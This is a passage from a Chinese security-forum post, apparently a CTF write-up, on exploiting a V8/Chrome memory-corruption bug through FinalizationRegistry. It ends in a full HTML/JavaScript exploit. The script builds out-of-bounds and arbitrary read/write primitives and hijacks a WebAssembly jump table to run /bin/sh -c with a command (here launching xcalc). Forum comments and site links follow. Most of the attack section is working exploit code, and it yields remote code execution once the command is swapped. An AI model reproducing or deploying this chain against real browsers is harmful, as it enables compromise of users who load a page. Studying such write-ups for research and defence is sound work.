cage_write(ab_addr+0x24n,addr); let ret = dv.getBigUint64(0,true); // logg("ret",ret); return ret; } ``` 由于此时布局的稳定性还算不错,后续申请的几个对象与target\_arr之间的距离是固定的,所以能否准确定位到target\_arr是很重要的,他直接影响了后续的原语构造 所以我采用了扫描匹配 target\_arr 内容的方式,匹配到target\_arr之后,我们可以gdb调试,字节计算出 target\_arr 对象本身以及后续 obj\_arr 等对象的精确偏移,利用这个偏移,我们通过 oob\_arr 修改后续对象的内容,从而实现利用原语的构造。 ```javascript for (let i = 0; i < 0x10000000; i++){ // logg("oob_arr[i]",f64_to_u64(oob_arr[i])); if (((oob_arr[i]) == 1.1) && ((oob_arr[i+1]) == 2.2) && ((oob_arr[i+2]) == 3.3) && ((oob_arr[i+3]) == 4.4) && ((oob_arr[i+4]) == 5.5)){ target_idx = i; logg("target_idx",target_idx); break; } } ``` ## step5 这里需要单独讨论一下如何弹出计算器。 当时现场机器cpu是intel14 gen,在linux平台上有一个pku保护,所以我当时在执行shellcode的时候挂了。解决也很简单,使用jit spray或者wasm函数,我这里为了更加稳定使用了wasm函数。wasm中定义了一些汇编,然后通过传入两个i64的值,来执行execve,然后我每次只需要修改稳定cmd\_ptr即可  接着需要解释为什么执行这样命令,这个lll是我自己使用的机器,我使用了vnc。最重要的步骤是export XAUTHORITY=/home/lll/.Xauthority,这个可以避免环境问题导致的 X11 认证失败,后面跟着的export DISPLAY=:100;是我自己vnc开放的端口,自己的机器只用了d8,没放到chrome里  对于下发的虚拟机,采用了动态查找授权文件的方式,后续的步骤和之前一样  移植到chrome里主要需要解决的问题是遍历oob\_arr的问题,我这里起始地址设置到了0x1a0000,最后就可以弹出计算器了  # exploit 完整的利用脚本,全部代码位于这里[<mark class="encrypted">adbK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6X3x3h3I4&6P5i4W2Q4x3V1k6h3z5q4)9J5k6p5g2^5M7r3I4G2K9i4c8Q4x3X3c8o6L8$3I4D9k6h3y4@1K9h3!0F1i4K6u0r3N6s2u0W2k6g2)9J5c8X3#2S2K9h3&6Q4x3V1k6I4N6$3u0Q4y4f1y4Q4y4h3k6K6z5g2)9#2b7#2)9#2k6X3k6A6L8X3q4D9i4K6g2o6i4K6g2X3L8h3!0F1L8%4c8A6L8Y4c8Q4y4f1c8Q4x3U0S2Z5N6s2c8H3M7#2)9K6b7g2)9J5c8W2)9J5c8X3N6A6N6r3S2#2j5W2)9J5k6h3y4G2L8g2)9J5c8X3j5I4L8s2W2&6P5g2)9J5c8W2j5^5i4K6u0V1c8i4S2H3L8r3!0A6N6q4)9J5k6p5y4G2L8r3I4W2j5%4c8A6L8$3&6Q4x3V1k6@1M7X3g2W2i4K6u0r3L8h3q4A6L8W2)9J5c8Y4q4%4j5W2)9#2k6Y4x3&6i4K6g2X3k6X3W2F1j5h3I4Q4y4h3k6E0L8$3&6G2N6r3W2F1N6l9`.`.</mark> "<mark class="encrypted">38cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6X3x3h3I4&6P5i4W2Q4x3V1k6h3z5q4)9J5k6p5g2^5M7r3I4G2K9i4c8Q4x3X3c8o6L8$3I4D9k6h3y4@1K9h3!0F1i4K6u0r3N6s2u0W2k6g2)9J5c8X3#2S2K9h3&6Q4x3V1k6I4N6$3u0Q4y4h3k6K6z5g2)9#2k6X3k6A6L8X3q4D9i4K6g2X3L8h3!0F1L8%4c8A6L8Y4b7`.</mark>") ```html <!DOCTYPE html> <html> <head> <title>Exp</title> </head> <body> <script> var buf = new ArrayBuffer(8); var f32 = new Float32Array(buf); var f64 = new Float64Array(buf); var u8 = new Uint8Array(buf); var u16 = new Uint16Array(buf); var u32 = new Uint32Array(buf); var u64 = new BigUint64Array(buf); function lh_u32_to_f64(l,h){ u32[0] = l; u32[1] = h; return f64[0]; } function f64_to_u32l(val){ f64[0] = val; return u32[0]; } function f64_to_u32h(val){ f64[0] = val; return u32[1]; } function f64_to_u64(val){ f64[0] = val; return u64[0]; } function u64_to_f64(val){ u64[0] = val; return f64[0]; } function u64_to_u32_lo(val){ u64[0] = val; return u32[0]; } function u64_to_u32_hi(val){ u64[0] = val; return u32[1]; } // function stop(){ // %SystemBreak(); // } // function p(arg){ // %DebugPrint(arg); // } // function spin(){ // console.log("spin..."); // stop(); // } // function stuck(){ // console.log("readline...."); // readline(); // } function hex(str){ return str.toString(16).padStart(16,0); } function logg(str,val){ console.log("[+] "+ str + ": " + "0x" + hex(val)); } function major_gc() { let x = []; x.push(new ArrayBuffer(1e9)); x.push(new ArrayBuffer(1e9)); x = null; } function build_kv(key, value) { return lh_u32_to_f64(key << 1, value); } function init_arr(arr, val){ for (let i = 0; i < arr.length; i++) { arr[i] = val; } } function construct_hash_object(){ let length = 10000; let arr = new Array(length); let weak_map = new WeakMap(); for (let i = 0; i < length; i++) { arr[i] = {}; weak_map.set(arr[i], 0); } return arr; } function find_vic_idx(arr,val){ for (let i = 0; i < arr.length; i++){ if (arr[i] != val){ return i; } } return -1; } function make_ref(val){ return [val]; } function corrupt_obj_get_hash(){ console.log("[*] Corrupt obj get in"); let corrupt_vic_idx = -1; let corrupt_obj_idx = -1; let corrupt_obj_hash = -1; // HashField::kMax = 2^20 - 1 = 1048575 = 0xFFFFF for (let current_hash = 1; current_hash < 0x100000; current_hash++) { let fake_kv = build_kv(current_hash, undefined_value); init_arr(victim_arr, fake_kv); // p(unregister_token); // p(registry); // p(victim_arr); // p(arr_with_hash_object); for (let i = 0; i < arr_with_hash_object.length; i++){ registry.unregister(arr_with_hash_object[i]); } corrupt_vic_idx = find_vic_idx(victim_arr, fake_kv); if (corrupt_vic_idx == -1){ continue; } // p(victim_arr); init_arr(victim_arr, fake_kv); for (let i = 0; i < arr_with_hash_object.length; i++){ registry.unregister(arr_with_hash_object[i]); for (let j = 0; j < victim_arr.length; j++){ if (victim_arr[j] != fake_kv){ corrupt_obj_idx = i; corrupt_obj_hash = current_hash; break; } } if ((corrupt_obj_idx != -1) && (corrupt_obj_hash != -1) ){ break; } } if ((corrupt_vic_idx != -1) && (corrupt_obj_idx != -1) && (corrupt_obj_hash != -1)){ break; } // console.log("[+] Found at hash: 0x" + current_hash.toString(16)); } // p(arr_with_hash_object); console.log("[+] Corrupt vic idx: " + corrupt_vic_idx); console.log("[+] Corrupt obj idx: " + corrupt_obj_idx); console.log("[+] Corrupt obj hash: 0x" + corrupt_obj_hash.toString(16)); console.log("[*] Corrupt obj get out"); return [corrupt_vic_idx,corrupt_obj_idx,corrupt_obj_hash]; } function construct_oob_arr(corrupt_vic_idx,corrupt_obj_idx,corrupt_obj_hash){ console.log("[*] Construct oob arr in"); let hash_obj = arr_with_hash_object[corrupt_obj_idx]; let oob_arr_addr_start = 0x1a0000; let oob_arr_addr_end = 0x2000000; let oob_arr_step = 0x100; let oob_arr_init_val = lh_u32_to_f64(0xaaaaaaaa, 0xaaaaaaaa); let oob_arr_idx = -1; let tmp_weak_cell_val = -1; let offset = 0x1c; let align_offset = 0; let oob_arr_element_addr = -1; let oob_addr_element_offset = 0x1020; let out_loop = false; let oob_arr = []; for (let i = 0; i < 0x100; i++){ oob_arr[i] = 1.1; } let target_arr = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9]; let ref_arr = make_ref(target_arr); let ab = new ArrayBuffer(0x100); let ref_ab = make_ref(ab); let dv = new DataView(ab); let obj_arr = [{},{}]; let target_idx = -1; // p(oob_arr); // p(target_arr); for (let i = oob_arr_addr_start; i < oob_arr_addr_end; i += oob_arr_step){ let fake_kv = build_kv(corrupt_obj_hash, i | 1); victim_arr[corrupt_vic_idx] = victim_arr[corrupt_vic_idx + 1] = fake_kv; init_arr(oob_arr, oob_arr_init_val); // p(oob_arr); // stop(); registry.register(hash_obj, undefined, hash_obj); for (let j = 0; j < oob_arr.length; j++){ if (oob_arr[j] != oob_arr_init_val){ oob_arr_idx = j; logg("oob_arr_idx",oob_arr_idx); logg("oob_arr_addr",i); // p(registry); // p(victim_arr); // p(oob_arr); tmp_weak_cell_val = f64_to_u32l(oob_arr[oob_arr_idx]); if ((f64_to_u32l(oob_arr[oob_arr_idx]) & 0xff) == 0xaa){ tmp_weak_cell_val = f64_to_u32h(oob_arr[oob_arr_idx]); align_offset = 1; } // logg("raw tmp weak cell val",f64_to_u64(oob_arr[oob_arr_idx])); // logg("tmp weak cell val",tmp_weak_cell_val); // logg("align_offset",align_offset); oob_arr_element_addr = i + offset - (oob_arr_idx) * 8 - align_offset * 4 - 8 ; // stop(); break; } if(oob_arr_element_addr > 0){ out_loop = true; break; } } if(out_loop){ break; } } let guess_obj_addr = -1; let target_addr = -1; let idx = 0; // guess_obj_addr = oob_arr_element_addr - oob_addr_element_offset; guess_obj_addr = oob_arr_element_addr; target_addr = guess_obj_addr+0x5+0x1; let fake_kv = build_kv(corrupt_obj_hash, ((target_addr - 0x1c))); victim_arr[corrupt_vic_idx] = victim_arr[corrupt_vic_idx + 1] = fake_kv; logg("oob_arr_element_addr",oob_arr_element_addr); logg("target_addr",target_addr); console.log("[*] Construct oob arr out"); registry.register(hash_obj, undefined, hash_obj); oob_arr.length = 0x10000000; if (oob_arr.length < 0x100){ console.log("[x] corrupt failed!") alert("[x] corrupt failed!"); return; } logg("oob_arr.length",oob_arr.length); alert("[+] corrupt success!"); console.log("[*] Construct primitives in"); for (let i = 0; i < 0x10000000; i++){ // logg("oob_arr[i]",f64_to_u64(oob_arr[i])); if (((oob_arr[i]) == 1.1) && ((oob_arr[i+1]) == 2.2) && ((oob_arr[i+2]) == 3.3) && ((oob_arr[i+3]) == 4.4) && ((oob_arr[i+4]) == 5.5)){ target_idx = i; logg("target_idx",target_idx); break; } } if(target_idx == -1){ console.log("[x] Failed to find target_idx!"); return; } // p(target_arr); // p(obj_arr); let target_arr_element_addr = oob_arr_element_addr + (target_idx) * 8; let elements_confused_idx = target_idx + 0x50/8; let obj_arr_idx_offset = 0x21; let obj_arr_element_addr = target_arr_element_addr + (obj_arr_idx_offset) * 8; logg("target_arr_element_addr",target_arr_element_addr); logg("obj_arr_element_addr",obj_arr_element_addr); function cage_read(addr){ addr = Number(addr); if (addr & 1){ addr -= 1; } addr -= 7; let org = f64_to_u64(oob_arr[elements_confused_idx]); oob_arr[elements_confused_idx] = lh_u32_to_f64(addr, Number(org >> 32n)); let val = f64_to_u64(target_arr[0]); oob_arr[elements_confused_idx] = u64_to_f64(org); return val; } function cage_write(addr,val){ addr = Number(addr); if (addr & 1){ addr -= 1; } addr -= 7; logg("addr",addr); let org = f64_to_u64(oob_arr[elements_confused_idx]); oob_arr[elements_confused_idx] = lh_u32_to_f64(addr, Number(org >> 32n)); let org_val = f64_to_u64(target_arr[0]); // target_arr[0] = lh_u32_to_f64(val, Number(org_val >> 32n)); target_arr[0] = u64_to_f64(val); oob_arr[elements_confused_idx] = u64_to_f64(org); } function addrof(obj){ obj_arr[0] = obj; let ret = cage_read(obj_arr_element_addr); // logg("ret",ret); // stop(); return u64_to_u32_lo(ret); } function AAR(addr){ cage_write(ab_addr+0x24n,addr); let ret = dv.getBigUint64(0,true); // logg("ret",ret); return ret; } // p(dv); let ab_addr = cage_read(addrof(dv)+0x10); let js_heap_base = AAR(cage_read(0x9)+0x38n) & ~0xfffffn; logg("ab_addr",ab_addr); logg("js_heap_base",js_heap_base); const wasm_bytes = new Uint8Array([0,97,115,109,1,0,0,0,1,6,1,96,2,126,126,0,3,2,1,0,7,7,1,3,112,119,110,0,0,10,59,1,57,0,66,200,146,158,134,137,146,228,245,2,66,200,146,218,142,163,154,228,245,2,66,234,246,192,132,137,146,228,245,2,66,216,160,194,132,137,146,228,245,2,66,143,138,192,132,137,146,228,245,2,26,26,26,26,26,11,0,13,4,110,97,109,101,1,6,1,0,3,112,119,110]); const mod = new WebAssembly.Module(wasm_bytes); const instance = new WebAssembly.Instance(mod); const pwn = instance.exports.pwn; // p(instance); let instance_addr = addrof(instance); logg("instance_addr",instance_addr); let trusted_data = u64_to_u32_lo(cage_read(instance_addr+0xc)); logg("trusted_data",trusted_data); let jump_table_start = AAR(js_heap_base+BigInt(trusted_data)+0x28n-1n); logg("jump_table_start",jump_table_start); var jit_off = 0x91bn; let cmd_str = "export XAUTHORITY=$(ls /run/user/1000/.mutter-Xwaylandauth.* 2>/dev/null | head -1); export DISPLAY=:0; /bin/xcalc\0"; // let cmd_str = "export XAUTHORITY=/home/lll/.Xauthority; export DISPLAY=:100; /bin/xcalc\0"; let sh_str = "/bin/sh\0"; let dash_c_str = "-c\0"; let sh_name_str = "sh\0"; let argv_ab = new ArrayBuffer(8 * 4); let argv_arr = new BigUint64Array(argv_ab); let sh_name_addr = BigInt(addrof(sh_name_str)+0xc-1) + js_heap_base; let dash_c_addr = BigInt(addrof(dash_c_str)+0xc-1) + js_heap_base; let cmd_addr = BigInt(addrof(cmd_str)+0xc-1) + js_heap_base; let sh_str_addr = BigInt(addrof(sh_str)+0xc-1) + js_heap_base; argv_arr[0] = sh_name_addr; argv_arr[1] = dash_c_addr; argv_arr[2] = cmd_addr; argv_arr[3] = 0n let argv_bc = AAR(BigInt(addrof(argv_ab))+js_heap_base+0x24n-1n); logg("sh_name_addr",sh_name_addr); logg("dash_c_addr",dash_c_addr); logg("cmd_addr",cmd_addr); logg("sh_str_addr",sh_str_addr); logg("arge_bc",argv_bc); cage_write(BigInt(trusted_data)+0x28n,jump_table_start+jit_off); logg("rop chain",jump_table_start+jit_off); alert("[+] pwn!"); pwn(sh_str_addr,argv_bc); console.log("[*] Construct primitives out"); } let undefined_value = 0x11; let target = {}; let unregister_token = {}; let registry = new FinalizationRegistry(() => { console.log("[*] Callback in"); let [corrupt_vic_idx,corrupt_obj_idx,corrupt_obj_hash] = corrupt_obj_get_hash(); let [oob_arr,oob_arr_addr,oob_arr_element_addr] = construct_oob_arr(corrupt_vic_idx,corrupt_obj_idx,corrupt_obj_hash); console.log("[*] Callback out"); }); // p(registry); // p(unregister_token); // stop(); registry.register(target, undefined, unregister_token); // stop(); major_gc(); let victim_arr = []; for (let i = 0; i < 0x1000; i++) { victim_arr.push(build_kv(undefined_value, undefined_value)); } major_gc(); // p(registry); // p(victim_arr); let arr_with_hash_object = construct_hash_object(); // p(arr_with_hash_object); // stop(); Object.assign(unregister_token, {}); Object.assign(unregister_token, {}); target = null; // gc({ type: "major" }); major_gc(); </script> </body> </html> ```
登录后可查看完整内容
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
#漏洞机制
#浏览器相关
收藏
・
0
点赞
・
4
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
wx_晨梦
这个讨论对我很有帮助,谢谢!
2026-7-16 07:29
审判者虔诚
期待更多优质内容的分享,论坛有你更精彩!
2025-12-29 22:32
XiaozaYa
感谢你的积极参与,期待更多精彩内容!
2025-12-10 16:52
fyrlove
谢谢你的细致分析,受益匪浅!
2025-12-10 15:28
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
2
)
ZIKH26
雪 币:
906
活跃值:
(2296)
能力值:
( LV8,RANK:125 )
在线值:
发帖
3
回帖
14
粉丝
66
关注
私信
ZIKH26
3
2
楼
好文,师傅写的太细了
2025-12-10 16:56
1
phyman
雪 币:
1106
活跃值:
(1364)
能力值:
( LV9,RANK:190 )
在线值:
发帖
15
回帖
64
粉丝
8
关注
私信
phyman
3
楼
题目虚拟机可以提供下载不
2026-7-14 11:54
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
flyyyy
6
8
发帖
9
回帖
260
RANK
关注
私信
他的文章
[原创] 强网杯S9 Real World - monotint
17413
[原创] 第八届“强网”拟态防御国际精英挑战赛 - Cherry
16948
[原创] RCTF 2025 - no_check_WASM
13119
[原创] 第八届“强网”拟态防御国际精英挑战赛 - WIN!致敬mt 复现
12745
[原创] CVE-2023-4069:Maglev图建立阶段的一个漏洞
4404
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部